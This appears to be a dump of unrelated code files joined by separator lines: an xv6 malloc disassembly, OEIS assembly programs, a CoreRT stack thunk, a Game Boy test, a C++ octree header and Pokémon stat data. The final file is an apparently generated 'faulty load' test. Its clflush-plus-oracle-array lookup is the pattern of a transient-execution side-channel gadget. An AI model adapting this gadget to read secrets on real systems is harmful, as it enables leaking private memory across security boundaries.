5b4: 3b 45 fc cmp -0x4(%ebp),%eax
5b7: 77 24 ja 5dd <free+0x4f>
5b9: 8b 45 fc mov -0x4(%ebp),%eax
5bc: 8b 00 mov (%eax),%eax
5be: 3b 45 f8 cmp -0x8(%ebp),%eax
5c1: 77 1a ja 5dd <free+0x4f>
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
5c3: 8b 45 fc mov -0x4(%ebp),%eax
5c6: 8b 00 mov (%eax),%eax
5c8: 89 45 fc mov %eax,-0x4(%ebp)
5cb: 8b 45 f8 mov -0x8(%ebp),%eax
5ce: 3b 45 fc cmp -0x4(%ebp),%eax
5d1: 76 d4 jbe 5a7 <free+0x19>
5d3: 8b 45 fc mov -0x4(%ebp),%eax
5d6: 8b 00 mov (%eax),%eax
5d8: 3b 45 f8 cmp -0x8(%ebp),%eax
5db: 76 ca jbe 5a7 <free+0x19>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
5dd: 8b 45 f8 mov -0x8(%ebp),%eax
5e0: 8b 40 04 mov 0x4(%eax),%eax
5e3: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
5ea: 8b 45 f8 mov -0x8(%ebp),%eax
5ed: 01 c2 add %eax,%edx
5ef: 8b 45 fc mov -0x4(%ebp),%eax
5f2: 8b 00 mov (%eax),%eax
5f4: 39 c2 cmp %eax,%edx
5f6: 75 24 jne 61c <free+0x8e>
bp->s.size += p->s.ptr->s.size;
5f8: 8b 45 f8 mov -0x8(%ebp),%eax
5fb: 8b 50 04 mov 0x4(%eax),%edx
5fe: 8b 45 fc mov -0x4(%ebp),%eax
601: 8b 00 mov (%eax),%eax
603: 8b 40 04 mov 0x4(%eax),%eax
606: 01 c2 add %eax,%edx
608: 8b 45 f8 mov -0x8(%ebp),%eax
60b: 89 50 04 mov %edx,0x4(%eax)
bp->s.ptr = p->s.ptr->s.ptr;
60e: 8b 45 fc mov -0x4(%ebp),%eax
611: 8b 00 mov (%eax),%eax
613: 8b 10 mov (%eax),%edx
615: 8b 45 f8 mov -0x8(%ebp),%eax
618: 89 10 mov %edx,(%eax)
61a: eb 0a jmp 626 <free+0x98>
} else
bp->s.ptr = p->s.ptr;
61c: 8b 45 fc mov -0x4(%ebp),%eax
61f: 8b 10 mov (%eax),%edx
621: 8b 45 f8 mov -0x8(%ebp),%eax
624: 89 10 mov %edx,(%eax)
if(p + p->s.size == bp){
626: 8b 45 fc mov -0x4(%ebp),%eax
629: 8b 40 04 mov 0x4(%eax),%eax
62c: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
633: 8b 45 fc mov -0x4(%ebp),%eax
636: 01 d0 add %edx,%eax
638: 3b 45 f8 cmp -0x8(%ebp),%eax
63b: 75 20 jne 65d <free+0xcf>
p->s.size += bp->s.size;
63d: 8b 45 fc mov -0x4(%ebp),%eax
640: 8b 50 04 mov 0x4(%eax),%edx
643: 8b 45 f8 mov -0x8(%ebp),%eax
646: 8b 40 04 mov 0x4(%eax),%eax
649: 01 c2 add %eax,%edx
64b: 8b 45 fc mov -0x4(%ebp),%eax
64e: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
651: 8b 45 f8 mov -0x8(%ebp),%eax
654: 8b 10 mov (%eax),%edx
656: 8b 45 fc mov -0x4(%ebp),%eax
659: 89 10 mov %edx,(%eax)
65b: eb 08 jmp 665 <free+0xd7>
} else
p->s.ptr = bp;
65d: 8b 45 fc mov -0x4(%ebp),%eax
660: 8b 55 f8 mov -0x8(%ebp),%edx
663: 89 10 mov %edx,(%eax)
freep = p;
665: 8b 45 fc mov -0x4(%ebp),%eax
668: a3 20 0a 00 00 mov %eax,0xa20
}
66d: c9 leave
66e: c3 ret
0000066f <morecore>:
static Header*
morecore(uint nu)
{
66f: 55 push %ebp
670: 89 e5 mov %esp,%ebp
672: 83 ec 18 sub $0x18,%esp
char *p;
Header *hp;
if(nu < 4096)
675: 81 7d 08 ff 0f 00 00 cmpl $0xfff,0x8(%ebp)
67c: 77 07 ja 685 <morecore+0x16>
nu = 4096;
67e: c7 45 08 00 10 00 00 movl $0x1000,0x8(%ebp)
p = sbrk(nu * sizeof(Header));
685: 8b 45 08 mov 0x8(%ebp),%eax
688: c1 e0 03 shl $0x3,%eax
68b: 83 ec 0c sub $0xc,%esp
68e: 50 push %eax
68f: e8 75 fc ff ff call 309 <sbrk>
694: 83 c4 10 add $0x10,%esp
697: 89 45 f4 mov %eax,-0xc(%ebp)
if(p == (char*)-1)
69a: 83 7d f4 ff cmpl $0xffffffff,-0xc(%ebp)
69e: 75 07 jne 6a7 <morecore+0x38>
return 0;
6a0: b8 00 00 00 00 mov $0x0,%eax
6a5: eb 26 jmp 6cd <morecore+0x5e>
hp = (Header*)p;
6a7: 8b 45 f4 mov -0xc(%ebp),%eax
6aa: 89 45 f0 mov %eax,-0x10(%ebp)
hp->s.size = nu;
6ad: 8b 45 f0 mov -0x10(%ebp),%eax
6b0: 8b 55 08 mov 0x8(%ebp),%edx
6b3: 89 50 04 mov %edx,0x4(%eax)
free((void*)(hp + 1));
6b6: 8b 45 f0 mov -0x10(%ebp),%eax
6b9: 83 c0 08 add $0x8,%eax
6bc: 83 ec 0c sub $0xc,%esp
6bf: 50 push %eax
6c0: e8 c9 fe ff ff call 58e <free>
6c5: 83 c4 10 add $0x10,%esp
return freep;
6c8: a1 20 0a 00 00 mov 0xa20,%eax
}
6cd: c9 leave
6ce: c3 ret
000006cf <malloc>:
void*
malloc(uint nbytes)
{
6cf: 55 push %ebp
6d0: 89 e5 mov %esp,%ebp
6d2: 83 ec 18 sub $0x18,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
6d5: 8b 45 08 mov 0x8(%ebp),%eax
6d8: 83 c0 07 add $0x7,%eax
6db: c1 e8 03 shr $0x3,%eax
6de: 83 c0 01 add $0x1,%eax
6e1: 89 45 ec mov %eax,-0x14(%ebp)
if((prevp = freep) == 0){
6e4: a1 20 0a 00 00 mov 0xa20,%eax
6e9: 89 45 f0 mov %eax,-0x10(%ebp)
6ec: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
6f0: 75 23 jne 715 <malloc+0x46>
base.s.ptr = freep = prevp = &base;
6f2: c7 45 f0 18 0a 00 00 movl $0xa18,-0x10(%ebp)
6f9: 8b 45 f0 mov -0x10(%ebp),%eax
6fc: a3 20 0a 00 00 mov %eax,0xa20
701: a1 20 0a 00 00 mov 0xa20,%eax
706: a3 18 0a 00 00 mov %eax,0xa18
base.s.size = 0;
70b: c7 05 1c 0a 00 00 00 movl $0x0,0xa1c
712: 00 00 00
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
715: 8b 45 f0 mov -0x10(%ebp),%eax
718: 8b 00 mov (%eax),%eax
71a: 89 45 f4 mov %eax,-0xc(%ebp)
if(p->s.size >= nunits){
71d: 8b 45 f4 mov -0xc(%ebp),%eax
720: 8b 40 04 mov 0x4(%eax),%eax
723: 3b 45 ec cmp -0x14(%ebp),%eax
726: 72 4d jb 775 <malloc+0xa6>
if(p->s.size == nunits)
728: 8b 45 f4 mov -0xc(%ebp),%eax
72b: 8b 40 04 mov 0x4(%eax),%eax
72e: 3b 45 ec cmp -0x14(%ebp),%eax
731: 75 0c jne 73f <malloc+0x70>
prevp->s.ptr = p->s.ptr;
733: 8b 45 f4 mov -0xc(%ebp),%eax
736: 8b 10 mov (%eax),%edx
738: 8b 45 f0 mov -0x10(%ebp),%eax
73b: 89 10 mov %edx,(%eax)
73d: eb 26 jmp 765 <malloc+0x96>
else {
p->s.size -= nunits;
73f: 8b 45 f4 mov -0xc(%ebp),%eax
742: 8b 40 04 mov 0x4(%eax),%eax
745: 2b 45 ec sub -0x14(%ebp),%eax
748: 89 c2 mov %eax,%edx
74a: 8b 45 f4 mov -0xc(%ebp),%eax
74d: 89 50 04 mov %edx,0x4(%eax)
p += p->s.size;
750: 8b 45 f4 mov -0xc(%ebp),%eax
753: 8b 40 04 mov 0x4(%eax),%eax
756: c1 e0 03 shl $0x3,%eax
759: 01 45 f4 add %eax,-0xc(%ebp)
p->s.size = nunits;
75c: 8b 45 f4 mov -0xc(%ebp),%eax
75f: 8b 55 ec mov -0x14(%ebp),%edx
762: 89 50 04 mov %edx,0x4(%eax)
}
freep = prevp;
765: 8b 45 f0 mov -0x10(%ebp),%eax
768: a3 20 0a 00 00 mov %eax,0xa20
return (void*)(p + 1);
76d: 8b 45 f4 mov -0xc(%ebp),%eax
770: 83 c0 08 add $0x8,%eax
773: eb 3b jmp 7b0 <malloc+0xe1>
}
if(p == freep)
775: a1 20 0a 00 00 mov 0xa20,%eax
77a: 39 45 f4 cmp %eax,-0xc(%ebp)
77d: 75 1e jne 79d <malloc+0xce>
if((p = morecore(nunits)) == 0)
77f: 83 ec 0c sub $0xc,%esp
782: ff 75 ec pushl -0x14(%ebp)
785: e8 e5 fe ff ff call 66f <morecore>
78a: 83 c4 10 add $0x10,%esp
78d: 89 45 f4 mov %eax,-0xc(%ebp)
790: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
794: 75 07 jne 79d <malloc+0xce>
return 0;
796: b8 00 00 00 00 mov $0x0,%eax
79b: eb 13 jmp 7b0 <malloc+0xe1>
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
79d: 8b 45 f4 mov -0xc(%ebp),%eax
7a0: 89 45 f0 mov %eax,-0x10(%ebp)
7a3: 8b 45 f4 mov -0xc(%ebp),%eax
7a6: 8b 00 mov (%eax),%eax
7a8: 89 45 f4 mov %eax,-0xc(%ebp)
return (void*)(p + 1);
}
if(p == freep)
if((p = morecore(nunits)) == 0)
return 0;
}
7ab: e9 6d ff ff ff jmp 71d <malloc+0x4e>
}
7b0: c9 leave
7b1: c3 ret
|
; A225381: Elimination order of the first person in a Josephus problem.
; 1,2,2,4,3,5,4,8,5,8,6,11,7,11,8,16,9,14,10,18,11,17,12,23,13,20,14,25,15,23,16,32,17,26,18,32,19,29,20,38,21,32,22,39,23,35,24,47,25,38,26,46,27,41,28,53,29,44,30,53,31,47,32,64,33,50,34,60,35
mov $1,$0
add $1,1
lpb $1
dif $1,2
add $0,$1
lpe
div $0,2
add $0,1
|
;;
;; Copyright (c) Microsoft. All rights reserved.
;; Licensed under the MIT license. See LICENSE file in the project root for full license information.
;;
include AsmMacros.inc
ifdef FEATURE_DYNAMIC_CODE
ifdef _DEBUG
TRASH_SAVED_ARGUMENT_REGISTERS equ 1
else
TRASH_SAVED_ARGUMENT_REGISTERS equ 0
endif
if TRASH_SAVED_ARGUMENT_REGISTERS ne 0
EXTERN RhpIntegerTrashValues : QWORD
EXTERN RhpFpTrashValues : QWORD
endif ;; TRASH_SAVED_ARGUMENT_REGISTERS
SIZEOF_RETADDR equ 8h
SIZEOF_ALIGNMENT_PADDING equ 8h
SIZEOF_RETURN_BLOCK equ 10h ; for 16 bytes of conservatively reported space that the callee can
; use to manage the return value that the call eventually generates
SIZEOF_FP_REGS equ 40h ; xmm0-3
SIZEOF_OUT_REG_HOMES equ 20h ; Callee register spill
;
; From CallerSP to ChildSP, the stack frame is composed of the following adjacent regions:
;
; SIZEOF_RETADDR
; SIZEOF_ALIGNMENT_PADDING
; SIZEOF_RETURN_BLOCK
; SIZEOF_FP_REGS
; SIZEOF_OUT_REG_HOMES
;
DISTANCE_FROM_CHILDSP_TO_FP_REGS equ SIZEOF_OUT_REG_HOMES
DISTANCE_FROM_CHILDSP_TO_RETURN_BLOCK equ DISTANCE_FROM_CHILDSP_TO_FP_REGS + SIZEOF_FP_REGS
DISTANCE_FROM_CHILDSP_TO_RETADDR equ DISTANCE_FROM_CHILDSP_TO_RETURN_BLOCK + SIZEOF_RETURN_BLOCK + SIZEOF_ALIGNMENT_PADDING
DISTANCE_FROM_CHILDSP_TO_CALLERSP equ DISTANCE_FROM_CHILDSP_TO_RETADDR + SIZEOF_RETADDR
.errnz DISTANCE_FROM_CHILDSP_TO_CALLERSP mod 16
;;
;; Defines an assembly thunk used to make a transition from managed code to a callee,
;; then (based on the return value from the callee), either returning or jumping to
;; a new location while preserving the input arguments. The usage of this thunk also
;; ensures arguments passed are properly reported.
;;
;; TODO: This code currently only tailcalls, and does not return.
;;
;; Inputs:
;; rcx, rdx, r8, r9, stack space: arguments as normal
;; r10: The location of the target code the UniversalTransition thunk will call
;; r11: The only parameter to the target function (passed in rdx to callee)
;;
;
; Frame layout is:
;
; {StackPassedArgs} ChildSP+0a0 CallerSP+020
; {IntArgRegs (rcx,rdx,r8,r9) (0x20 bytes)} ChildSP+080 CallerSP+000
; {CallerRetaddr} ChildSP+078 CallerSP-008
; {AlignmentPad (0x8 bytes)} ChildSP+070 CallerSP-010
; {ReturnBlock (0x10 bytes)} ChildSP+060 CallerSP-020
; {FpArgRegs (xmm0-xmm3) (0x40 bytes)} ChildSP+020 CallerSP-060
; {CalleeArgumentHomes (0x20 bytes)} ChildSP+000 CallerSP-080
; {CalleeRetaddr} ChildSP-008 CallerSP-088
;
; NOTE: If the frame layout ever changes, the C++ UniversalTransitionStackFrame structure
; must be updated as well.
;
; NOTE: The callee receives a pointer to the base of the ReturnBlock, and the callee has
; knowledge of the exact layout of all pieces of the frame that lie at or above the pushed
; FpArgRegs.
;
; NOTE: The stack walker guarantees that conservative GC reporting will be applied to
; everything between the base of the ReturnBlock and the top of the StackPassedArgs.
;
NESTED_ENTRY RhpUniversalTransition, _TEXT
alloc_stack DISTANCE_FROM_CHILDSP_TO_RETADDR
save_reg_postrsp rcx, 0h + DISTANCE_FROM_CHILDSP_TO_CALLERSP
save_reg_postrsp rdx, 8h + DISTANCE_FROM_CHILDSP_TO_CALLERSP
save_reg_postrsp r8, 10h + DISTANCE_FROM_CHILDSP_TO_CALLERSP
save_reg_postrsp r9, 18h + DISTANCE_FROM_CHILDSP_TO_CALLERSP
save_xmm128_postrsp xmm0, DISTANCE_FROM_CHILDSP_TO_FP_REGS
save_xmm128_postrsp xmm1, DISTANCE_FROM_CHILDSP_TO_FP_REGS + 10h
save_xmm128_postrsp xmm2, DISTANCE_FROM_CHILDSP_TO_FP_REGS + 20h
save_xmm128_postrsp xmm3, DISTANCE_FROM_CHILDSP_TO_FP_REGS + 30h
END_PROLOGUE
if TRASH_SAVED_ARGUMENT_REGISTERS ne 0
; Before calling out, trash all of the argument registers except the ones (rcx, rdx) that
; hold outgoing arguments. All of these registers have been saved to the transition
; frame, and the code at the call target is required to use only the transition frame
; copies when dispatching this call to the eventual callee.
movsd xmm0, mmword ptr [RhpFpTrashValues + 0h]
movsd xmm1, mmword ptr [RhpFpTrashValues + 8h]
movsd xmm2, mmword ptr [RhpFpTrashValues + 10h]
movsd xmm3, mmword ptr [RhpFpTrashValues + 18h]
mov r8, qword ptr [RhpIntegerTrashValues + 10h]
mov r9, qword ptr [RhpIntegerTrashValues + 18h]
endif ; TRASH_SAVED_ARGUMENT_REGISTERS
;
; Call out to the target, while storing and reporting arguments to the GC.
;
mov rdx, r11
lea rcx, [rsp + DISTANCE_FROM_CHILDSP_TO_RETURN_BLOCK]
call r10
LABELED_RETURN_ADDRESS ReturnFromUniversalTransition
; restore fp argument registers
movdqa xmm0, [rsp + DISTANCE_FROM_CHILDSP_TO_FP_REGS ]
movdqa xmm1, [rsp + DISTANCE_FROM_CHILDSP_TO_FP_REGS + 10h]
movdqa xmm2, [rsp + DISTANCE_FROM_CHILDSP_TO_FP_REGS + 20h]
movdqa xmm3, [rsp + DISTANCE_FROM_CHILDSP_TO_FP_REGS + 30h]
; restore integer argument registers
mov rcx, [rsp + 0h + DISTANCE_FROM_CHILDSP_TO_CALLERSP]
mov rdx, [rsp + 8h + DISTANCE_FROM_CHILDSP_TO_CALLERSP]
mov r8, [rsp + 10h + DISTANCE_FROM_CHILDSP_TO_CALLERSP]
mov r9, [rsp + 18h + DISTANCE_FROM_CHILDSP_TO_CALLERSP]
; epilog
nop
; Pop the space that was allocated between the ChildSP and the caller return address.
add rsp, DISTANCE_FROM_CHILDSP_TO_RETADDR
TAILJMP_RAX
NESTED_END RhpUniversalTransition, _TEXT
endif
end
|
.size 8000
.text@48
ei
jp lstatint
.text@100
jp lbegin
.text@150
lbegin:
ld c, 44
ld b, 90
lbegin_waitvblank:
ldff a, (c)
cmp a, b
jrnz lbegin_waitvblank
ld a, 11
ldff(40), a
ld hl, 8010
ld a, ff
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld c, 12
ld de, 0014
ld hl, 9800
ld a, 01
lbegin_set_bgmap:
ld b, 0c
lbegin_set_bgmapline_tilenos0to11:
ld(hl++), a
dec b
jrnz lbegin_set_bgmapline_tilenos0to11
add hl, de
dec c
jrnz lbegin_set_bgmap
ld a, 03
ldff(47), a
ld a, 20
ldff(41), a
ld a, 02
ldff(ff), a
ld c, 43
ld a, 91
ldff(40), a
ei
xor a, a
.text@1000
lstatint:
ldff(c), a
ld a, 60
nop
nop
nop
nop
nop
nop
nop
ldff(c), a
pop hl
ld a, c0
.text@102b
ldff(c), a
xor a, a
|
#pragma once
#include "inexor/vulkan-renderer/world/indentation.hpp"
#include <glm/vec3.hpp>
#include <array>
#include <cstdint>
#include <memory>
#include <vector>
// forward declaration
namespace inexor::vulkan_renderer::world {
class Cube;
} // namespace inexor::vulkan_renderer::world
// forward declaration
namespace inexor::vulkan_renderer::io {
class ByteStream;
class NXOCParser;
} // namespace inexor::vulkan_renderer::io
void swap(inexor::vulkan_renderer::world::Cube &lhs, inexor::vulkan_renderer::world::Cube &rhs) noexcept;
namespace inexor::vulkan_renderer::world {
/// std::vector<Polygon> can probably replaced with an array.
using Polygon = std::array<glm::vec3, 3>;
using PolygonCache = std::shared_ptr<std::vector<Polygon>>;
class Cube : public std::enable_shared_from_this<Cube> {
friend void ::swap(Cube &lhs, Cube &rhs) noexcept;
friend class io::NXOCParser;
public:
/// Maximum of sub cubes (childs)
static constexpr std::size_t SUB_CUBES{8};
/// Cube edges.
static constexpr std::size_t EDGES{12};
/// Cube Type.
enum class Type { EMPTY = 0b00U, SOLID = 0b01U, NORMAL = 0b10U, OCTANT = 0b11U };
/// IDs of the children and edges which will be swapped to receive the rotation.
/// To achieve a 90 degree rotation the 0th index have to be swapped with the 1st and the 1st with the 2nd, etc.
struct RotationAxis {
using ChildType = std::array<std::array<std::size_t, 4>, 2>;
using EdgeType = std::array<std::array<std::size_t, 4>, 3>;
using Type = std::pair<ChildType, EdgeType>;
/// IDs of the children / edges which will be swapped to receive the rotation around X axis.
static constexpr Type X{{{{0, 1, 3, 2}, {4, 5, 7, 6}}}, {{{2, 4, 11, 1}, {5, 7, 8, 10}, {0, 9, 6, 3}}}};
/// IDs of the children / edges which will be swapped to receive the rotation around Y axis.
static constexpr Type Y{{{{0, 4, 5, 1}, {2, 6, 7, 3}}}, {{{0, 5, 9, 2}, {3, 8, 6, 11}, {1, 10, 7, 4}}}};
/// IDs of the children / edges which will be swapped to receive the rotation around Z axis.
static constexpr Type Z{{{{0, 2, 6, 4}, {1, 3, 7, 5}}}, {{{1, 3, 10, 0}, {4, 6, 7, 9}, {2, 11, 8, 5}}}};
};
private:
Type m_type{Type::SOLID};
float m_size{32};
glm::vec3 m_position{0.0F, 0.0F, 0.0F};
/// Root cube is empty.
std::weak_ptr<Cube> m_parent{};
/// Indentations, should only be used if it is a geometry cube.
std::array<Indentation, Cube::EDGES> m_indentations;
std::array<std::shared_ptr<Cube>, Cube::SUB_CUBES> m_childs;
/// Only geometry cube (Type::SOLID and Type::Normal) have a polygon cache.
mutable PolygonCache m_polygon_cache;
mutable bool m_polygon_cache_valid{false};
/// Removes all childs recursive.
void remove_childs();
/// Get the root to this cube.
[[nodiscard]] std::shared_ptr<Cube> root() noexcept;
/// Get the vertices of this cube. Use only on geometry cubes.
[[nodiscard]] std::array<glm::vec3, 8> vertices() const noexcept;
/// Optimized implementations of 90°, 180° and 270° rotations.
template <int Rotations>
void rotate(const RotationAxis::Type &axis);
public:
/// Create a solid cube.
Cube() = default;
/// Create a solid cube.
Cube(float size, const glm::vec3 &position);
/// Create a solid cube.
Cube(std::weak_ptr<Cube> parent, float size, const glm::vec3 &position);
/// Use clone() to create an independent copy of a cube.
Cube(const Cube &rhs) = delete;
Cube(Cube &&rhs) noexcept;
~Cube() = default;
Cube &operator=(Cube rhs);
/// Get child.
std::shared_ptr<Cube> operator[](std::size_t idx);
/// Get child.
const std::shared_ptr<const Cube> operator[](std::size_t idx) const;
/// Clone a cube, which has no relations to the current one or its children.
/// It will be a root cube.
[[nodiscard]] std::shared_ptr<Cube> clone() const;
/// Is the current cube root.
[[nodiscard]] bool is_root() const noexcept;
/// At which child level this cube is.
/// root cube = 0
[[nodiscard]] std::size_t grid_level() const noexcept;
/// Count the number of Type::SOLID and Type::NORMAL cubes.
[[nodiscard]] std::size_t count_geometry_cubes() const noexcept;
/// Set a new type.
void set_type(Type new_type);
/// Get type.
[[nodiscard]] Type type() const noexcept;
/// Get childs.
[[nodiscard]] const std::array<std::shared_ptr<Cube>, Cube::SUB_CUBES> &childs() const;
/// Get indentations.
[[nodiscard]] std::array<Indentation, Cube::EDGES> indentations() const noexcept;
/// Set an indent by the edge id.
void set_indent(std::uint8_t edge_id, Indentation indentation);
/// Indent a specific edge by steps.
/// @param positive_direction Indent in positive axis direction.
void indent(std::uint8_t edge_id, bool positive_direction, std::uint8_t steps);
/// Rotate the cube 90° clockwise around the given axis. Repeats with the given rotations.
/// @param axis Only one index should be one.
/// @param rotations Value does not need to be adjusted beforehand. (e.g. mod 4)
void rotate(const RotationAxis::Type &axis, int rotations);
/// TODO: in special cases some polygons have no surface, if completely surrounded by others
/// \warning Will update the cache even if it is considered as valid.
void update_polygon_cache() const;
/// Invalidate polygon cache.
void invalidate_polygon_cache() const;
/// Recursive way to collect all the caches.
/// @param update_invalid If true it will update invalid polygon caches.
[[nodiscard]] std::vector<PolygonCache> polygons(bool update_invalid = false) const;
};
} // namespace inexor::vulkan_renderer::world
|
; A055953: n - reversal of base 6 digits of n (written in base 10).
; 0,0,0,0,0,0,5,0,-5,-10,-15,-20,10,5,0,-5,-10,-15,15,10,5,0,-5,-10,20,15,10,5,0,-5,25,20,15,10,5,0,35,0,-35,-70,-105,-140,35,0,-35,-70,-105,-140,35,0,-35,-70,-105,-140,35,0,-35,-70,-105,-140,35,0,-35,-70,-105,-140,35,0,-35,-70,-105,-140,70,35,0,-35,-70
mov $1,$0
cal $0,30105 ; Base 6 reversal of n (written in base 10).
sub $1,$0
|
; A173741: T(n,k) = binomial(n,k) + 4 for 1 <= k <= n - 1, n >= 2, and T(n,0) = T(n,n) = 1 for n >= 0, triangle read by rows.
; Submitted by Jon Maiga
; 1,1,1,1,6,1,1,7,7,1,1,8,10,8,1,1,9,14,14,9,1,1,10,19,24,19,10,1,1,11,25,39,39,25,11,1,1,12,32,60,74,60,32,12,1,1,13,40,88,130,130,88,40,13,1,1,14,49,124,214,256,214,124,49,14,1,1,15,59,169,334,466,466,334,169,59,15,1,1,16,70,224,499,796,928,796,499,224,70,16,1,1,17,82,290,719,1291,1720,1720,1291
seq $0,7318 ; Pascal's triangle read by rows: C(n,k) = binomial(n,k) = n!/(k!*(n-k)!), 0 <= k <= n.
lpb $0
mov $1,$0
mov $0,1
add $1,3
lpe
mov $0,$1
add $0,1
|
db 0 ; species ID placeholder
db 65, 80, 40, 75, 45, 80
; hp atk def spd sat sdf
db BUG, POISON ; type
db 45 ; catch rate
db 159 ; base exp
db NO_ITEM, POISON_BARB ; items
db GENDER_F50 ; gender ratio
db 15 ; step cycles to hatch
INCBIN "gfx/pokemon/beedrill/front.dimensions"
db GROWTH_MEDIUM_FAST ; growth rate
dn EGG_BUG, EGG_BUG ; egg groups
db 70 ; happiness
; tm/hm learnset
tmhm TOXIC, HIDDEN_POWER, SUNNY_DAY, HYPER_BEAM, PROTECT, GIGA_DRAIN, FRUSTRATION, SOLARBEAM, RETURN, BRICK_BREAK, DOUBLE_TEAM, AERIAL_ACE, FACADE, SECRET_POWER, REST, ATTRACT, THIEF, ROOST, FALSE_SWIPE, ENDURE, SILVER_WIND, PAYBACK, GIGA_IMPACT, FLASH, SWORDS_DANCE, CAPTIVATE, X_SCISSOR, SLEEP_TALK, NATURAL_GIFT, POISON_JAB, SWAGGER, U_TURN, SUBSTITUTE, CUT, DEFOG, ROCK_SMASH, AIR_CUTTER, ENDEAVOR, FURY_CUTTER, KNOCK_OFF, OMINOUS_WIND, SNORE, SWIFT
; end
|
.global s_prepare_buffers
s_prepare_buffers:
push %r13
push %r15
push %r8
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_A_ht+0x6b45, %rsi
lea addresses_WT_ht+0x25cd, %rdi
nop
add $2872, %r15
mov $116, %rcx
rep movsb
nop
nop
nop
nop
nop
sub %rcx, %rcx
lea addresses_WT_ht+0xea45, %rdx
xor $17300, %r13
mov (%rdx), %r8
nop
nop
inc %rcx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r8
pop %r15
pop %r13
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r15
push %r8
push %r9
push %rbx
push %rdi
push %rsi
// Load
lea addresses_US+0x15af5, %r8
nop
inc %rbx
mov (%r8), %r9d
nop
nop
nop
nop
nop
cmp %r15, %r15
// Store
lea addresses_WT+0xd8bf, %rsi
cmp $18975, %rbx
movb $0x51, (%rsi)
nop
nop
inc %r9
// Faulty Load
lea addresses_A+0x1e645, %rdi
clflush (%rdi)
nop
nop
add %r13, %r13
movb (%rdi), %r8b
lea oracles, %r9
and $0xff, %r8
shlq $12, %r8
mov (%r9,%r8,1), %r8
pop %rsi
pop %rdi
pop %rbx
pop %r9
pop %r8
pop %r15
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_US', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 0, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 10, 'size': 8, 'same': False, 'NT': False}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 